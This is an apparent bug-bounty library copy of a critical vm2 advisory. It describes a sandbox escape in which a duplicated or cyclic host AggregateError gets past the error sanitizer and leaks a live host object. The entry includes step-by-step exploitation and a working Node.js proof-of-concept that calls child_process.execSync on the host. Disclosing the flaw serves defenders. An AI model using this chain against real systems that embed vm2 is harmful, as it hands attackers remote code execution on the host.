# vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit

vm2's AggregateError sanitizer rebuilds host carriers without sealing them, so a revisited (cyclic/duplicated) host AggregateError leaks a live host proxy, giving sandbox escape to host RCE.

- Payout: Research
- Severity: critical
- Program: vm2
- Found by: manus-use, maru1009
- Disclosed: 2026-10-05
- CVE: CVE-2026-92934
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-x965-fc75-jpqh
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x965-fc75-jpqh
- Tags: area:oss domain:oss impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:rce vuln:sandbox-escape

**Target:** vm2 Node.js sandbox library, handleException exception sanitizer
**Root cause:** handleException's cycle short-circuit (line 1819) returns the raw host carrier on revisit, which is safe only because plain-Error sanitizers seal the host object in place. sanitizeAggregateError instead snapshot-rebuilds into a fresh LocalAggregateError without sealing the original, so a revisited host AggregateError is re-embedded live into the sanitized errors[].
**Steps:**
1. Expose a host function that throws a host-wrapped AggregateError containing a host reference and a revisit trigger: `const shared = new AggregateError([], 'shared'); shared.leak = process; throw new AggregateError([shared, shared], 'all failed');`
2. In sandbox, `try { hostThrow(); } catch (e) { ... }` so the caught exception routes through `handleException`.
3. handleException marks agg visited, routes to sanitizeAggregateError, recurses into errors[0]; the inner call hits `visited.get(agg)===true` and returns the raw host proxy at line 1819, which is pushed into sanitizedArr as errors[0].
4. Reach the sink: `e.errors[0].leak.mainModule.require('child_process').execSync('id')` returns host `uid=1000(...)` output.
**How found:** Noticed the sanitization fix (GHSA-m283-3h24-438v) seals plain-Error carriers in place but sanitizeAggregateError snapshot-rebuilds without sealing; hypothesized the line-1819 cycle short-circuit would then return a live raw carrier on revisit, and tested cyclic/duplicate host AggregateError shapes against the blocked baseline cause vector.
**Exploitation:** Embedder exposes a host function the sandbox can call; it throws a host AggregateError whose errors[] contains the same host object twice (or a self/mutual cycle) plus a host reference in a rebuild-surviving slot. On catch, the sanitizer's cycle short-circuit hands back the unsealed live host proxy inside the 'sanitized' errors[], and the sandbox walks it to process.mainModule.require to run execSync with host privileges and read process.env/.pid.
**Escalation:** Multiple revisit shapes (self-cycle, duplicate-in-array, mutual-cycle, nested host sub-AggregateError) all yield RCE; SuppressedError variant does not reproduce.
**Insight:** When a sanitizer rebuilds an object instead of sealing it in place, any cycle-detection short-circuit that returns the original object becomes a leak primitive — test cyclic and duplicate-reference shapes against every 'fixed' sanitizer, since non-cyclic inputs pass while revisited ones bypass.

## Proof of concept (copied exactly from the original report)

**vm2 AggregateError duplicate-in-array host RCE PoC**

```
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));
```

